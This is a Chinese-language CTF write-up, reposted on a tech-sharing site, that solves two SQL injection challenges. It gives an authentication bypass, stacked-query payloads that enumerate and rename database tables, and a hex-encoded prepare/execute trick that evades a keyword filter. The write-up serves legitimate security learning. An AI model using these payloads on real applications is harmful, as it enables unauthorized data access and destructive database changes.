ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

[极客大挑战 2019]EasySQL 1、[强网杯 2019]随便注 1

2022-07-09 20:03:20  阅读:280  来源: 互联网

标签:极客 EasySQL flag 2019 words table 1919810931114514 报错


[极客大挑战 2019]EasySQL 1

工具:火狐、Hackbar

打开链接发现是一个登录界面,可能存在SQL注入

在用户名处输入

1 显示:Wrong username password

1' 显示报错

闭合点应该是  '  单引号闭合

在用户名处输入 1' or 1=1 -- -   得到flag

[强网杯 2019]随便注 1

第一种方法

打开连接发现是一个查询框,可能存在SQL注入

第一步找闭合

输入 

1 不报错

1’ 报错

闭合为单引号

第二步求列数

1'  order by 1,2,3-- -开始报错

列数为2

第三步求显示位

输入1' union select 1-- -
提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

所以联合注入不行

尝试堆叠注入

1' ; show databases;

得到数据库名

第四步求表

1' ; show tables;

得出表名

第五步求列名

1'  ; show   columns from `1919810931114514`;   当表名为数字时要用反引号 (esc下面的)

第六步求字段

通过 rename 先把 words 表改名为其他的表名

把 1919810931114514 表的名字改为 words 

给新 words 表添加新的列名 id 

将 flag 改名为 data 

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

得出flag

第二种方法

因为select被过滤,所以可以将select * from `1919810931114514`进行16进制编码再通过构造payload得到

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

进而得到flag

prepare...from...是预处理语句,会进行编码转换

execute用来执行由SQL Prepare创建的SQl语句

SELECT可以在一条语句里对多个变量同时复制,而SET只能一次对一个变量赋值

第三种方法

1'; handler `1919810931114514` open as `a`; handler `a` read next;

 

新人第一次写博客,希望大家一起进步ヽ( ̄ω ̄( ̄ω ̄〃)ゝ

要是有错误的地方,欢迎大家批评指正!

 

标签:极客,EasySQL,flag,2019,words,table,1919810931114514,报错
来源: https://www.cnblogs.com/Bin-go/p/16461736.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有